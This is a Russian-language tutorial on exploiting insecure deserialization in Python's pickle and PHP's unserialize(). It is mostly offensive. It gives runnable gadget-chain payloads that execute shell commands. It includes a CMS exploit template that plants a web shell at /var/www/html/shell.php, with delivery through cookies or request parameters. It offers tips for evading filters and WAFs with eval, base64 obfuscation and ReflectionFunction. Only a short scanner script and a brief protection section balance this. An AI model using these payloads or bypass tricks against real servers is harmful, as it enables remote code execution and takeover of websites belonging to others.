73
Десериализация — это процесс превращения данных (например, строк или байтов) обратно в объекты. Проблема в том, что если пользовательские данные десериализуются без фильтрации, можно подсунуть зловредный объект и выполнить произвольный код (Remote Code Execution, RCE). В 2025 году это всё ещё ахиллесова пята многих приложений.
Почему это опасно?
pickle
) и PHP (unserialize()
) можно создавать “гаджет-цепи” — последовательности объектов, которые при десериализации вызывают вредоносный код.🐍 Python: Гаджет-цепи с pickle
В Python модуль pickle
десериализует данные в объекты. Если злоумышленник контролирует входные данные, он может вызвать метод __reduce__
и выполнить произвольный код.
Пример гаджет-цепи:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
import pickle import os class Exploit: def __reduce__(self): # Команда, которая будет выполнена return (os.system, ('echo "Hacked!"; touch /tmp/pwned',)) # Создаем вредоносный pickle payload = pickle.dumps(Exploit()) # Жертва десериализует pickle.loads(payload) # Выполняется команда |
Как это работает?
__reduce__
возвращает функцию (os.system
) и аргументы для неё.pickle.loads()
Python выполняет эту функцию.Лайфхак: Чтобы обойти ограничения на прямой вызов os.system
, можно использовать subprocess.Popen
или другие встроенные модули.
🛠️ PHP: Гаджет-цепи с unserialize()
В PHP функция unserialize()
восстанавливает объекты из строки. Если класс имеет магические методы вроде __wakeup()
или __destruct()
, можно спровоцировать выполнение кода.
Пример гаджет-цепи:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?php class Exploit { private $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function __destruct() { system($this->cmd); } } // Создаем вредоносный объект и сериализуем $payload = serialize(new Exploit('echo "Hacked!"; touch /tmp/pwned')); // Жертва десериализует unserialize($payload); // Выполняется команда |
Как это работает?
unserialize()
PHP создает объект Exploit
.__destruct()
, который запускает команду из свойства $cmd
.Лайфхак: Если прямой вызов system()
блокируется, используйте eval()
с обфускацией через base64_decode()
.
📦 Шаблон эксплойта для CMS (WordPress/Drupal)
Многие CMS используют PHP-сессии, кэши или плагины, которые десериализуют пользовательские данные. Цель — найти точку входа, где unserialize()
вызывается на пользовательском вводе (например, через куки или параметры запроса).
Шаг 1: Поиск уязвимости
Используем Burp Suite для анализа:
PHPSESSID
или параметры с сериализованными данными (O:8:"stdClass":...
).unserialize()
(например, старые версии W3 Total Cache
).Шаг 2: Генерация payload
Для WordPress создадим гаджет-цепь на основе популярных классов:
1 2 3 4 5 6 7 8 9 10 |
<?php class WP_Exploit { public $cache_filename = '<?php phpinfo(); ?>'; public function __destruct() { file_put_contents('/var/www/html/shell.php', $this->cache_filename); } } $payload = serialize(new WP_Exploit()); echo $payload; |
Шаг 3: Доставка
Cookie: session_data=<our_payload>
vulnerable_param=<our_payload>
Результат: На сервере создается веб-шелл /shell.php
, который можно использовать для дальнейших атак.
💣 Автоматизация: Сканер уязвимостей
Для PHP:
Пишем скрипт для обнаружения unserialize()
в коде CMS:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
import re import os def scan_for_unserialize(path): for root, _, files in os.walk(path): for file in files: if file.endswith('.php'): with open(os.path.join(root, file), 'r') as f: content = f.read() if 'unserialize(' in content: print(f"Found unserialize in {file}") scan_for_unserialize('/var/www/html/wordpress') |
Для Python:
Проверяем зависимости на использование pickle
через grep
или PyPI-анализ:
1 |
grep -r "pickle.load" /path/to/project |
🛡️ Обход WAF и защитных механизмов 2025
base64_encode
: unserialize(base64_decode('<encoded_payload>'))
json_decode
с кастомным autoload
).system
, exec
)?
ReflectionFunction
для вызова обходных функций.ReflectionFunction('create_function')->invoke('', 'phpinfo();');
eval()
или assert()
.🧠 Защита: Как не стать жертвой
pickle
для пользовательских данных. Альтернатива — json
или ограниченный yaml
через safe_load
.unserialize()
или фильтруйте входные данные через allowed_classes
:🔥 Итоги и кейс
Лайфхак напоследок: Если CMS использует кастомные классы, изучите их методы __wakeup()
и __call()
через реверс-инжиниринг. Это золотая жила для гаджет-цепей.